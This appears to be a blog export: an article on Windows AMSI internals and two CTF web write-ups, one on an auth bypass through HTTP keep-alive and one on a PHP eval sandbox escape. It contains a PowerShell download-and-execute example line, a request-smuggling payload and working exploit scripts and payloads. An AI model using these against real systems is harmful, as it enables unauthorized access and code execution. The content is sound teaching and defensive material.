[{"content":"A PowerShell one-liner can assemble its payload from string fragments, decode it in memory, and execute it directly. No file ever touches disk, so file-based antivirus has nothing to scan. AMSI closes that gap, and it does it without scanning anything itself: amsi.dll is a router, nothing more. It forwards content to whatever engine is registered on the machine, and that engine decides.\nThis is part 1 of two: how AMSI actually works. Part 2 is evasion, which only makes sense once you know what you\u0026rsquo;re evading.\nThe gap it was built to close Signature engines work on objects: a PE, a document, an archive. They open the file, map it, match patterns. That model holds only as long as the malicious code exists as a file the engine can read.\nScripting hosts break that assumption easily:\n# Three layers of indirection, nothing suspicious on disk. $a = \u0026#39;IEX (New-Object Net.WebClient).DownloadStr\u0026#39; + \u0026#39;ing(\u0026#34;http://1.2.3.4/x\u0026#34;)\u0026#39; Invoke-Expression $a A file-based scanner looking at this sees Invoke-Expression, a token thousands of legitimate admin scripts use. The payload itself arrives over the network, gets built in a variable, and is compiled from a string. Nothing on disk is worth flagging.\nEmulating this is doable in principle: unwrap base64, string concatenation, the common tricks. In practice every language has a dozen ways to build a string, and an engine would have to model all of them, for every host, forever. That doesn\u0026rsquo;t scale.\nAMSI\u0026rsquo;s actual move: obfuscation has to end somewhere. Whatever wrapping the attacker used, the interpreter eventually needs real, runnable code, and at that point the content is plaintext. So instead of teaching every engine to emulate every script host, the host hands its already-deobfuscated content to the engine at that exact moment, one interface, called at the one point where hiding is no longer possible.\nWorth remembering: AMSI inspects the content the interpreter is about to run, not the command line that launched the process, not the argument you typed. Different telemetry sources.\nDisabling AMSI and disappearing from telemetry are two different things. We come back to this at the end.\nThree actors, kept apart Most of the confusion around the AMSI API goes away once you stop treating it as one block and separate the three parties involved.\nThe three AMSI actors: the host owns the content, amsi.dll routes it, and the registered provider returns the verdict.\nThe host application owns the content just before it executes, and it makes the calls. PowerShell, wscript.exe / cscript.exe, Office, the CLR. A host that does not integrate produces no scan, since AMSI never reaches into a process that did not opt in. People often forget this part. AMSI does not run on its own, so something has to call it.\namsi.dll is the thin, vendor-neutral shim in the middle. It exposes the C API to the host and knows how to locate and talk to whichever engine is registered on the machine. It routes requests, while the verdict comes from the engine.\nThe provider is the actual engine, whether Defender or your EDR. It is a COM object implementing IAntimalwareProvider (derived from IUnknown), and three methods matter:\n// From amsi.h. The provider receives the content as an IAmsiStream and // fills in an AMSI_RESULT. DisplayName() is the engine name that gets // surfaced back - handy when you\u0026#39;re triaging a host and want to know // who actually answered the scan. interface IAntimalwareProvider : IUnknown { HRESULT Scan(IAmsiStream *stream, AMSI_RESULT *result); void CloseSession(ULONGLONG session); HRESULT DisplayName(LPWSTR *displayName); }; Two details matter later on. First, the provider loads as a DLL inside the host process. From the host\u0026rsquo;s point of view, there is no RPC hop to a separate service. This is exactly why in-process tampering is possible at all: the component that decides your fate lives in your own address space. Second, the verdict only matters if the host acts on it. AmsiResultIsMalware is a check the host runs on the returned value, and the decision to stop execution stays with the host.\nStarting with Windows 10 1903, Windows can require providers to be Authenticode-signed. The check is off by default. It is enabled by setting the DWORD FeatureBits under HKLM\\SOFTWARE\\Microsoft\\AMSI to 0x2, and 0x1 or a missing value leaves it off. The reason follows from the in-process design: once providers are DLLs loaded into your own process, requiring a signature is what keeps an arbitrary DLL from registering itself as an engine. Microsoft also notes that this registry value is not protected by the OS, and that an antivirus may write-protect it.\nThe provider is registered under HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\, keyed by CLSID. The CLSID is then resolved under HKLM\\SOFTWARE\\Classes\\CLSID\\\u0026lt;clsid\u0026gt;\\InprocServer32, whose default value is the DLL path. That InprocServer32 key is the proof of the in-process claim above: COM uses it for servers loaded into the caller\u0026rsquo;s own process, as opposed to LocalServer32 for a separate .exe. You can walk both keys from PowerShell:\nGet-ChildItem \u0026#34;HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\u0026#34; | ForEach-Object { [PSCustomObject]@{ CLSID = $_.PSChildName Path = (Get-ItemProperty \u0026#34;HKLM:\\SOFTWARE\\Classes\\CLSID\\$($_.PSChildName)\\InprocServer32\u0026#34; -Name \u0026#34;(default)\u0026#34;).\u0026#39;(default)\u0026#39; } } Walking the registry from each provider CLSID to its backing DLL through the InprocServer32 key.\nDefender\u0026rsquo;s entry is {2781761E-28E0-4109-99FE-B9D127C57AFE}, which resolves to MpOav.dll in the Defender platform folder. To find out which engine answers on a host, check that key and DisplayName(). Those are the two reliable sources.\nThe call chain, one call at a time With the three actors in place, we can watch them interact. Every integrated host runs some version of the sequence below. The functions it calls are the ones amsi.dll exports, which you can list on any machine with\ndumpbin /exports C:\\Windows\\System32\\amsi.dll Dumpbin output on C:\\Windows\\System32\\amsi.dll:\namsi.dll's 14 exports, grouped into the Amsi* host API, the AmsiUac* elevation path, and the Dll* COM entry points. The Amsi* functions are the host-facing API, walked through below. The AmsiUac* trio is the UAC elevation path (consent.exe scanning an elevation request), and the four Dll* exports are the standard COM in-proc server entry points, consistent with the InprocServer32 registration seen earlier.\n// 1. Bind the host to the registered engine. One context per host. HRESULT AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext); // appName identifies the caller to the provider - this is the // \u0026#34;who is asking\u0026#34; the engine sees. // 2. Optional. A session lets the engine correlate several scans. HRESULT AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession); // Without it, fragments of one payload look harmless in isolation. // With it, the engine ties them into a single, better-informed verdict. // 3. The actual question. HRESULT AmsiScanBuffer(HAMSICONTEXT c, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION s /* optional */, AMSI_RESULT *result); HRESULT AmsiScanString(HAMSICONTEXT c, LPCWSTR string, LPCWSTR contentName, HAMSISESSION s /* optional */, AMSI_RESULT *result); // contentName is just metadata for the verdict (a filename, URL or // script ID) - not a path to open. The bytes are already in \u0026#39;buffer\u0026#39;. // 4. AmsiCloseSession when the session is done. // 5. AmsiUninitialize when the host is done with the API entirely. AmsiScanBuffer\u0026rsquo;s two outputs: the HRESULT says whether the call ran, the AMSI_RESULT carries the actual verdict.\nLook at the two outputs of AmsiScanBuffer. It returns an HRESULT and it fills the AMSI_RESULT *result parameter, and those answer two different questions.\nThe HRESULT is the standard COM status code: \u0026ldquo;did the call itself succeed?\u0026rdquo;. S_OK means the scan ran, a failure code like E_INVALIDARG means it could not run at all. It says nothing about the content.\nThe verdict is the AMSI_RESULT written into that result out-parameter: \u0026ldquo;was the content malicious?\u0026rdquo;.\nIt is a number, an enum value on a risk scale that the next block lays out. This is the value that actually matters. Microsoft recommends reading it through the AmsiResultIsMalware macro, which takes the AMSI_RESULT and returns whether it clears the malware threshold, rather than comparing that number by hand.\nConflating the two is an easy and consequential mistake: a S_OK return proves only that a scan happened, not that the content is clean.\nWhy the AmsiResultIsMalware macro? Because the enum is not a set of independent flags. It is an ordered risk scale:\nAMSI_RESULT is one continuous axis: an advisory risk score carved by the admin-block band, with a single malware threshold at 32768 that AmsiResultIsMalware tests.\ntypedef enum AMSI_RESULT { // known good; verdict unlikely to change on a future def update AMSI_RESULT_CLEAN = 0, // nothing found now, but could change after a future def update AMSI_RESULT_NOT_DETECTED = 1, // admin-policy block, start of range (0x4000) AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384, // admin-policy block, end of range (0x4FFF) AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479, // malware, should be blocked (0x8000) AMSI_RESULT_DETECTED = 32768 }; // Per the docs: a provider may return any value from 1 to 32767 as an // estimated risk level, higher = riskier (these are provider-specific and // can encode a malware family or ID). The 16384-20479 band is an admin // policy block, and anything \u0026gt;= 32768 is malware. In both cases the // content is blocked and never executed. The exact wording and ranges are in Microsoft\u0026rsquo;s reference for the AMSI_RESULT enumeration. Its Syntax block lists the constants without numeric values, so the numbers above come from the Remarks: CLEAN and NOT_DETECTED are 0 and 1 by position, then the 16384–20479 admin band and the 32768 malware threshold (shown here in hex as 0x4000, 0x4FFF, 0x8000).\nTwo of those bands stop execution, for different reasons. \u0026gt;= 32768 is a threat verdict: the engine considers the content malware. The 16384-20479 band is an admin policy block: per the docs, the content is blocked by an administrator-specified policy. That is a governance decision, not a malware classification, and the two sit on separate branches. AmsiResultIsMalware only reports the first, so an admin block stops the script but the macro returns zero for it.\nSo a return of S_OK proves nothing by itself. Whether the content is malware is decided separately, by the 32768 threshold that AmsiResultIsMalware tests. The status of the call and the verdict it carries are two different things, and keeping them apart is the whole point of reading the result correctly.\nWho actually calls it Every host follows the same principle: plaintext goes to the engine at the moment of execution. The content differs, though.\nHost What reaches Scan Note PowerShell scripts, interactive input, dynamic eval (Invoke-Expression, scriptblocks) The main consumer. Input typed at the prompt counts, with no file involved WSH (wscript / cscript) the script body before execution .js / .vbs scanned right before they run JScript / VBScript runnable script content Plaintext at execution time, like everything else Office VBA macro VBA source at runtime The interesting case: a document that static AV cannot read still gets caught once the macro runs .NET Framework 4.8+ dynamic methods, Assembly.Load(byte[]) Code assembled in memory, for compiled-style code UAC elevation of EXE, COM, MSI, or ActiveX installation Listed among the integrated Windows 10 components WMI operations surfaced to the engine Listed as supported in the Defender docs, but absent from Microsoft\u0026rsquo;s AMSI component list Volume Shadow Copy shadow copy operations Named by a third-party write-up, not in Microsoft\u0026rsquo;s component list Two limits follow from this. Hosts decide when to call AMSI: the Windows scripting hosts may only call it when they see a potentially dangerous object being created. Browsers never call AMSI for JavaScript running inside a page, because of sandboxing and performance cost (Textslashplain). Anything a host never sends is invisible to AMSI, so the model depends on cooperation, not on a kernel-level control.\nSeeing it happen Theory is cheap, so let\u0026rsquo;s make a host hand over the plaintext and watch the engine refuse it. That single observation forms the mental model the next article depends on.\nReplaying what the host does, in C This is roughly what PowerShell\u0026rsquo;s engine does with the scriptblock you type, reduced to the three calls that matter. For the content, it uses Microsoft\u0026rsquo;s AMSI test sample: a harmless marker string that every compliant engine is built to flag, the AMSI equivalent of the EICAR file. It keeps the result deterministic, so the code feeds it to the scanner and prints the verdict:\n#include \u0026lt;windows.h\u0026gt; #include \u0026lt;amsi.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; int main(void) { HAMSICONTEXT ctx; HAMSISESSION sess = NULL; AMSI_RESULT res = AMSI_RESULT_CLEAN; if (FAILED(AmsiInitialize(L\u0026#34;LAB-01-host\u0026#34;, \u0026amp;ctx))) return puts(\u0026#34;init failed\u0026#34;), 1; AmsiOpenSession(ctx, \u0026amp;sess); // optional, lets the engine correlate fragments // Microsoft\u0026#39;s AMSI test sample: a benign marker every compliant engine // must flag. Using it keeps the result deterministic. LPCWSTR payload = L\u0026#34;AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386\u0026#34;; HRESULT hr = AmsiScanString(ctx, payload, L\u0026#34;unknown-script\u0026#34;, sess, \u0026amp;res); if (SUCCEEDED(hr)) { wprintf(L\u0026#34;verdict: %u -\u0026gt; block? %s\\n\u0026#34;, (unsigned)res, AmsiResultIsMalware(res) ? L\u0026#34;YES\u0026#34; : L\u0026#34;no\u0026#34;); } else { // With no live engine, the scan can\u0026#39;t run at all - it fails rather // than returning a clean verdict. wprintf(L\u0026#34;AmsiScanString failed: 0x%08lx (no provider answered?)\\n\u0026#34;, (unsigned long)hr); } AmsiCloseSession(ctx, sess); AmsiUninitialize(ctx); return 0; } Build it from a Developer Command Prompt, where the Windows SDK puts amsi.h and amsi.lib on the include and library paths:\ncl /W4 /nologo /Fe:amsi_poc.exe amsi_poc.c amsi.lib Run it with Defender active, Get-MpPreference shows real-time protection and script scanning both on, so DisableRealtimeMonitoring and DisableScriptScanning are False, and the engine flags the test sample: verdict: 32768 -\u0026gt; block? YES.\nWith real-time protection on (both preferences False), the PoC hands the test sample to Defender\u0026rsquo;s provider and gets 32768 - a block.\nNow turn real-time protection off and run the same binary again. The verdict does not flip to clean, the scan fails outright:\nWith real-time protection off (DisableRealtimeMonitoring True), there is no live engine to answer, so AmsiScanString fails with 0x80070015 instead of returning a verdict.\n0x80070015 is HRESULT_FROM_WIN32(ERROR_NOT_READY) - \u0026ldquo;the device is not ready\u0026rdquo;. amsi.dll is only a router, with no detection of its own: the verdict comes from a registered provider, and on a stock machine that provider is Defender. Switch its engine off and there is nobody to service the call, so it errors instead of returning a result.\nThat is worth sitting with: turning the engine off does not produce a quiet \u0026ldquo;clean\u0026rdquo; verdict a careless host might wave through. The scan simply does not happen, and a host that ignores the failed HRESULT is the one that gets fooled.\nFlagging a string from PowerShell The C PoC gave us the view a host normally hides. Calling amsi.dll directly, we read the raw outputs: the exact AMSI_RESULT number and the HRESULT. A real host keeps those to itself. It consumes the verdict and acts on it, so from the outside all you ever see is the reaction. PowerShell is the clearest host to watch, because it runs every scriptblock through AMSI before executing it. Paste the same test sample at the prompt:\n# Same AMSI test sample, this time typed straight into the interpreter. \u0026#39;AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386\u0026#39; No number appears this time. PowerShell handed the line to the engine, got a malware verdict back, and refused to run it. The error even names the reason, ScriptContainedMaliciousContent:\nThe host never runs the line: PowerShell\u0026rsquo;s AMSI integration blocks the test sample with ScriptContainedMaliciousContent.\nOne property underneath this matters more than the block itself. The scan happens at the moment of execution, on the content the host is about to run, after the host has undone whatever wrapping it arrived in. Base64, string concatenation, compression: by the time the engine sees the buffer, it is the final plaintext. This is the \u0026ldquo;obfuscation has to end somewhere\u0026rdquo; idea from the start of the article, now visible. The host deobfuscates, then asks, and the engine answers on exactly what will execute, not on the encoded form that crossed the disk or the network.\nTwo views, one gate. The C PoC showed the raw verdict, PowerShell showed a host acting on it, and both describe the same mechanism: the host hands the engine the final plaintext, and a single number decides whether the content runs.\nWhat\u0026rsquo;s next This article stayed on how AMSI works: the three actors, the two outputs of a scan, the risk scale the verdict lives on, and the fact that the engine only ever sees the final plaintext the host is about to run. That is the ground part 2 builds on. Part 2 turns to evasion, and every technique it covers is a consequence of something established here, so the mechanism is worth having clear before reading on.\nAppendix: where defenders look The verdict we have been reading is private to the host and its provider. A defender outside that exchange needs other ways to see what AMSI saw, and two of them are worth understanding because they come straight from the mechanism described above.\nThe AMSI ETW provider. Event Tracing for Windows (ETW) is Windows\u0026rsquo; built-in, high-rate event pipeline: components publish structured events to named providers, and tools subscribe to the providers they care about. AMSI publishes to its own provider, Microsoft-Antimalware-Scan-Interface (GUID {2a576b87-09a7-520e-c21a-4942f0271d67}), and emits an event around each scan carrying the context of the call: the application name passed to AmsiInitialize, the content name, the size of the buffer, and the result. This is a different kind of data from the provider\u0026rsquo;s verdict. The provider decides whether to block; ETW just announces that a scan took place and describes it. A defender who subscribes to this provider therefore sees every scan the host requested, including the ones that came back clean, which never surface as an antivirus alert. Velociraptor ships a ready collection artifact, Windows.ETW.AMSI (reference), as a starting point.\nThe provider registry key. HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers is the authoritative list of which engines are plugged into AMSI, one subkey per provider CLSID, each resolving to a DLL through InprocServer32 exactly as we walked earlier. It is where a defender reads the machine\u0026rsquo;s AMSI inventory: which providers will answer a scan, and whether that set is what it should be. Because the key is the single source of truth for that inventory, watching it for changes is a documented detection (MITRE ATT\u0026amp;CK T1562.001, with a Sigma rule for a removed entry): a provider that disappears from this key is an engine that stopped being consulted.\nOn the prevention side, WDAC or AppLocker can lock PowerShell into Constrained Language Mode, which mitigates PowerShell-based reflective DLL injection (Defender docs). Attack surface reduction rules cover Office child processes and obfuscated scripts, and disabling VBA and XLM macros where they are not needed removes two hosts entirely (Zscaler). Do not disable PowerShell itself. Microsoft advises against it as a way to block fileless malware.\nAppendix: when all of this landed Component When Source of truth AMSI ships in the OS Windows 10 (announced June 2015), Server 2016 The Register - AMSI announced Jun 2015 PowerShell, WSH, JScript/VBScript With AMSI itself MS Learn - AMSI portal (integrated hosts) Office VBA macros Announced Sept 2018, on by default in the Office 365 Monthly Channel MS Security blog .NET Framework 4.8 With 4.8 on Windows 10 MS Learn - What\u0026rsquo;s new in .NET Framework Excel 4.0 (XLM) macros March 2021 MS Security blog - XLM + AMSI Resources Win32 AMSI portal - API overview AMSI integration with Microsoft Defender Antivirus - supported scripting languages, including WMI Demonstrate AMSI with Microsoft Defender for Endpoint - the AMSI test sample used here How AMSI helps you defend against malware AmsiInitialize, AmsiOpenSession, AmsiScanBuffer, AmsiScanString AMSI_RESULT, IAntimalwareProvider Microsoft Security blog - Office VBA + AMSI and Microsoft Security blog - XLM + AMSI What\u0026rsquo;s new in .NET Framework - CLR-to-AMSI integration in 4.8 Tal Liberman, Documenting the Undocumented: The Rise and Fall of AMSI (Black Hat Asia 2018) Maor Korkos, AMSI Unchained (Black Hat Asia 2022) Textslashplain, Defensive Technology: AMSI - hosts, triggers, and browser behavior Zscaler, AMSI - ETW collection, detection, and prevention Outflank, Bypassing AMSI for VBA - VBA timeline and the design gaps behind it Found a mistake, or a date I got wrong? Tell me and I\u0026rsquo;ll fix it. Part 2 is next.\n","date":"2026-10-21T00:00:00Z","image":"/images/articles/amsi/amsi-cover.svg","permalink":"/posts/articles/amsi/","title":"AMSI Internals: how the Antimalware Scan Interface works"},{"content":"Challenge source ImaginaryCTF 2025 - Web - Pwntool Introduction pwntool is a minimalist HTTP server (a custom socket loop with keep-alive and manual request parsing) plus an admin bot (Selenium/Chrome) that visits attacker-supplied URLs. The intended solution uses a browser-side payload (exploit.txt) to smuggle a second HTTP request to /register.\nMine is unintended. The server caches client_addr per TCP socket and never refreshes it per request on a persistent connection. So once a trusted client is connected, any later request on that same socket inherits its admin/localhost identity, which is enough to register or reset the admin without touching the browser-smuggling trick at all.\nContext Explanation Server: a custom Python socket server (app.py) multiplexing clients with select, parsing HTTP by hand, with keep-alive. Admin bot: Selenium/Chrome, driven via /visit with an X-Target header; it connects from 127.0.0.1. Routes: /register, /flag, and friends. Admin creds are generated at startup and kept in memory (accounts). The bug: the per-socket record stores addr (the peer address at accept() time) and reuses it for authorization on every request parsed from that socket, without re-deriving identity. Under HTTP/1.1 keep-alive, later requests ride on the same trusted client_addr. #... for s in rlist: if s is server: client_sock, addr = server.accept() client_sock.setblocking(False) clients[client_sock] = {\u0026#34;addr\u0026#34;: addr, \u0026#34;buffer\u0026#34;: b\u0026#34;\u0026#34;} print(f\u0026#34;[*] New client {addr}\u0026#34;) #... Directive Use /visit so the admin bot opens a single keep-alive TCP connection to the server. Get a second request processed on that same socket, which the server handles without updating client_addr. Run a privileged action (POST /register with headers), then read /flag. Solution 1) Relevant server structure (from app.py) The server accepts connections, stashes the peer address once, and parses multiple HTTP requests off the same socket:\n# app.py (excerpts) import socket, select, base64, random, string, os, threading from urllib.parse import urlparse, parse_qs # ... Selenium / webdriver imports for the admin bot ... HOST = \u0026#34;0.0.0.0\u0026#34; PORT = 8080 routes = {} accounts = {} FLAG_FILE = \u0026#34;./flag.txt\u0026#34; # ... admin password generation at startup ... # accounts[\u0026#34;admin\u0026#34;] = admin_password # print(f\u0026#34;[+] Admin password: {admin_password}\u0026#34;) # Connection bookkeeping serversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) serversock.bind((HOST, PORT)) serversock.listen(128) clients = {} # socket -\u0026gt; {\u0026#34;addr\u0026#34;: (ip, port), \u0026#34;buffer\u0026#34;: b\u0026#34;...\u0026#34;, ...} # Main loop (simplified): s, addr = serversock.accept() clients[s] = {\u0026#34;addr\u0026#34;: addr, \u0026#34;buffer\u0026#34;: b\u0026#34;\u0026#34;, \u0026#34;last_active\u0026#34;: datetime.now()} # ... later, per readable client socket: data = s.recv(8192) client = clients[s] client[\u0026#34;buffer\u0026#34;] += data # Parse 1+ HTTP requests from client[\u0026#34;buffer\u0026#34;] (keep-alive) # For each parsed request: # - route it # - build_response(..., keep_alive=\u0026lt;bool\u0026gt;) # - s.send(response) # - if not keep_alive: close # NOTE: authorization decisions key off client[\u0026#34;addr\u0026#34;] (NOT re-derived per request) The point: the authorization gate for sensitive routes (letting /register through for localhost/the admin bot) keys off client[\u0026quot;addr\u0026quot;]. Any request parsed off the same socket inherits that origin.\n2) Intended exploit (for reference) The official path serves an HTML file whose \u0026lt;script\u0026gt; does a body-smuggling trick: fetch(\u0026quot;http://localhost:8080/\u0026quot;, { method: \u0026quot;POST\u0026quot;, body: \u0026quot;a\u0026quot;.repeat(3526) + \u0026quot;POST /register HTTP/1.1 ...\u0026quot; }). The server then reads a second request off the same TCP connection, effectively:\nPOST /register HTTP/1.1 Host: localhost:8080 X-Username: admin X-Password: admin Content-Length: 0 3) The unintended exploit: stale client_addr on keep-alive Same core primitive, multiple requests on one connection, but no browser smuggling needed. The observation:\nIdentity is never re-derived per request; clients[s][\u0026quot;addr\u0026quot;] is reused for everything on that socket. Once the admin bot (from 127.0.0.1) holds a keep-alive connection, every later request on it counts as localhost/admin. The PoC:\nimport base64, time, requests from datetime import datetime TARGET = \u0026#34;http://34.72.72.63:23505\u0026#34; ADMIN_NEW_PASS = \u0026#34;hitcat\u0026#34; ROUNDS = 10 VISIT_DELAY_S = 0.6 SESSION = requests.Session() def log(msg): print(f\u0026#34;{msg}\u0026#34;, flush=True) def b64_basic(u,p): return \u0026#34;Basic \u0026#34; + base64.b64encode(f\u0026#34;{u}:{p}\u0026#34;.encode()).decode() def do_visit(): data_url = \u0026#34;http://127.0.0.1:8080/\u0026#34; r = SESSION.post(TARGET+\u0026#34;/visit\u0026#34;, headers={\u0026#34;X-Target\u0026#34;: data_url}) log(f\u0026#34;/visit -\u0026gt;{r.text}\u0026#34;) def do_register(): r = SESSION.post(TARGET+\u0026#34;/register\u0026#34;, headers={\u0026#34;X-Username\u0026#34;:\u0026#34;admin\u0026#34;,\u0026#34;X-Password\u0026#34;:ADMIN_NEW_PASS}) log(f\u0026#34;/register -\u0026gt; {r.text}\u0026#34;) def do_flag(): r = SESSION.get(TARGET+\u0026#34;/flag\u0026#34;, headers={\u0026#34;Authorization\u0026#34;: b64_basic(\u0026#34;admin\u0026#34;, ADMIN_NEW_PASS)}) log(f\u0026#34;/flag -\u0026gt; {r.text}\u0026#34;) return r for i in range(ROUNDS): log(f\u0026#34;== Round {i+1}/{ROUNDS} ==\u0026#34;) do_visit() time.sleep(VISIT_DELAY_S) do_register() r = do_flag() if r.status_code == 200 and \u0026#34;flag\u0026#34; in r.text.lower(): print(\u0026#34;\\n[FLAG]\\n\u0026#34; + r.text + \u0026#34;\\n\u0026#34;) break time.sleep(0.7) What\u0026rsquo;s happening under the hood:\nPOST /visit sends the admin bot out from 127.0.0.1 to open a keep-alive socket to the server. Since the server parses several requests from one clients[s][\u0026quot;buffer\u0026quot;], a second request lands on that same socket. It gets authorized against the cached client[\u0026quot;addr\u0026quot;] == ('127.0.0.1', \u0026lt;port\u0026gt;), so it reads as local/admin. /register resets the admin, then /flag gives it up. No browser body tricks, just the server\u0026rsquo;s per-socket identity caching.\n","date":"2025-09-06T00:00:00Z","image":"/images/imaginaryctf2025/web/pwntool_home.png","permalink":"/posts/ctf/imaginaryctf-2025/pwntool/","title":"HTTP keep-alive request smuggling past auth (unintended) - ImaginaryCTF 2025"},{"content":"Challenge source Nullcon Berlin HackIM 2025 - Web - Slasher Introduction Slasher is a tiny PHP \u0026ldquo;eval sandbox\u0026rdquo;: input gets heavily escaped, then run through eval(). The filters go after the obvious primitives (quotes, digits, arrays, $, _, ., and so on), but they never stop PHP from executing. So a function chain that uses no quotes and no digits can still read flag.php and hand back the flag.\nContext Explanation Stack: a single index.php that includes flag.php, with a custom error handler and an HTML front-end.\nFilters before eval:\nhtmlentities(...) addslashes(...) (backslashes before quotes and \\) addcslashes(..., '+?\u0026lt;\u0026gt;\u0026amp;v=${}%*:.[]_-0123456789xb `;') (digits, _, ., $, backtick, space, ;, and more) Execution: the escaped string is interpolated into eval(\u0026quot;$input;\u0026quot;), so whatever survives still has to parse as PHP.\nDirective Build a no-quotes, no-digits PHP expression out of functions that have no underscores, use it to read flag.php, and let it be the eval result.\nSolution 1) Code reading // Debug muted; source view allowed if (isset($_GET[\u0026#39;source\u0026#39;])) { highlight_file(__FILE__); die(); } include \u0026#34;flag.php\u0026#34;; $output = null; if (isset($_POST[\u0026#39;input\u0026#39;]) \u0026amp;\u0026amp; is_scalar($_POST[\u0026#39;input\u0026#39;])) { $input = $_POST[\u0026#39;input\u0026#39;]; $input = htmlentities($input, ENT_QUOTES | ENT_SUBSTITUTE, \u0026#39;UTF-8\u0026#39;); $input = addslashes($input); $input = addcslashes($input, \u0026#39;+?\u0026lt;\u0026gt;\u0026amp;v=${}%*:.[]_-0123456789xb `;\u0026#39;); try { $output = eval(\u0026#34;$input;\u0026#34;); // executes *after* escaping } catch (Exception $e) { /* swallowed */ } } What that leaves us:\nQuotes become \\\u0026quot;/\\', dead. Digits, ., _, $, space, ;, [] and several metachars get escaped, dead. Still free: most letters, (, ), ,, =, and the many core functions with no underscore in their name (include, readfile, opendir, readdir, closedir, getcwd, scandir, max, min, …). 2) Bypass idea (mechanics) No strings (quotes break), no numbers (digits slashed), no arrays ([] slashed), no variable names ($ slashed). But function calls are fine, and so is chaining their return values.\nflag.php is already on disk and included before our code runs, so there\u0026rsquo;s no need to touch $FLAG, we just read the file. The trick is synthesizing the filename \u0026quot;flag.php\u0026quot; with no quotes and no digits, then feeding it to a file reader like file().\n3) PoC The building blocks: count(array(null, null, ...)) gives us any integer without a digit, chr(...) turns each integer into a character, and implode(array(...)) glues the characters into \u0026quot;flag.php\u0026quot;. That string goes into file(), and echo(implode(...)) prints the contents.\nimport requests BASE_URL = \u0026#34;http://52.59.124.14:5011\u0026#34; def convert_count(n): return \u0026#34;count(array(\u0026#34; + \u0026#34;,\u0026#34;.join([\u0026#34;null\u0026#34;] * n) + \u0026#34;))\u0026#34; def encode_ord(n): return \u0026#34;chr(\u0026#34; + convert_count(n) + \u0026#34;)\u0026#34; def encode_string(s): return \u0026#34;implode(array(\u0026#34; + \u0026#34;,\u0026#34;.join(encode_ord(ord(c)) for c in s) + \u0026#34;))\u0026#34; payload = \u0026#34;echo(implode(file(\u0026#34; + encode_string(\u0026#34;flag.php\u0026#34;) + \u0026#34;)))\u0026#34; print(requests.post(BASE_URL + \u0026#34;/\u0026#34;, data={\u0026#34;input\u0026#34;: payload}).text[:58]) This script produces the payload:\necho(implode(file(implode(array(chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null)))))))) which evaluates down to echo(implode(file(flag.php))).\nWhy it survives the filters: they only add backslashes before banned characters, and this payload contains none of them, so what reaches eval() is still valid PHP.\nThe server answers with the flag:\n\u0026lt;?php $FLAG = 